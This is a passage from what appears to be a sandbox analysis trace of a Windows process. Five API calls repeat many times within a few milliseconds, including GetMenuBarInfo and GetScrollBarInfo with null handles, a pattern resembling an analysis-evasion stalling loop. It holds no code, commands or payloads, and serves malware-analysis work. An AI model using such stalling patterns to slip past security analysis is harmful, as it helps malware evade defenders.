IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.710] GetTickCount () returned 0x1c31f [0053.710] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.710] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.710] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.710] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.710] GetTickCount () returned 0x1c31f [0053.710] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.710] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.710] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.710] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.710] GetTickCount () returned 0x1c31f [0053.710] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.710] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.710] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.711] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.711] GetTickCount () returned 0x1c31f [0053.711] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.711] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.711] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.711] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.711] GetTickCount () returned 0x1c31f [0053.711] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.711] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.711] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.711] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.711] GetTickCount () returned 0x1c31f [0053.711] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.711] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.711] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.711] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.711] GetTickCount () returned 0x1c31f [0053.711] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.711] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.711] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.711] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.711] GetTickCount () returned 0x1c31f [0053.711] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.711] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.711] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.712] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.712] GetTickCount () returned 0x1c31f [0053.712] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.712] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.712] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.712] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.712] GetTickCount () returned 0x1c31f [0053.712] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.712] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.712] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.712] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.712] GetTickCount () returned 0x1c31f [0053.712] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.712] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.712] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.712] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.712] GetTickCount () returned 0x1c31f [0053.712] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.712] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.712] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.712] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.712] GetTickCount () returned 0x1c31f [0053.712] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.712] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.712] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.713] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.713] GetTickCount () returned 0x1c31f [0053.713] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.713] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.713] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.713] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.713] GetTickCount () returned 0x1c31f [0053.713] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.713] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.713] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.713] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.713] GetTickCount () returned 0x1c31f [0053.713] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.713] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.713] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.713] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.713] GetTickCount () returned 0x1c31f [0053.713] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.713] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.713] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.713] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.713] GetTickCount () returned 0x1c31f [0053.713] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.713] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.713] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.714] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.714] GetTickCount () returned 0x1c31f [0053.714] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.714] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.714] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.714] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.714] GetTickCount () returned 0x1c31f [0053.714] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.714] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.714] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.714] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.714] GetTickCount () returned 0x1c31f [0053.714] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.714] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.714] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.714] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.714] GetTickCount () returned 0x1c31f [0053.714] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.714] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.714] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.714] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.714] GetTickCount () returned 0x1c31f [0053.714] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.714] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.714] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.715] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.715] GetTickCount () returned 0x1c31f [0053.715] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.715] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.715] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.715] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.715] GetTickCount () returned 0x1c31f [0053.715] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.715] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.715] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.715] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.715] GetTickCount () returned 0x1c31f [0053.715] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.715] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.715] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.715] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.715] GetTickCount () returned 0x1c31f [0053.715] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.715] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.715] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.715] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.715] GetTickCount () returned 0x1c31f [0053.715] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.716] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.716] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.716] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.716] GetTickCount () returned 0x1c31f [0053.716] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.716] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.716] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.716] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.716] GetTickCount () returned 0x1c31f [0053.716] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.716] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.716] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.716] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.716] GetTickCount () returned 0x1c31f [0053.716] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.716] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.716] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.716] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.716] GetTickCount () returned 0x1c31f [0053.716] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.717] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.717] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.717] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.717] GetTickCount () returned 0x1c32f [0053.717] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.717] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.717] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.717] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.717] GetTickCount () returned 0x1c32f [0053.717] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.717] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.717] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.717] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.717] GetTickCount () returned 0x1c32f [0053.717] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.717] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.717] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.717] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.717] GetTickCount () returned 0x1c32f [0053.717] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.717] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.718] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.718] IsProcessorFeaturePresent 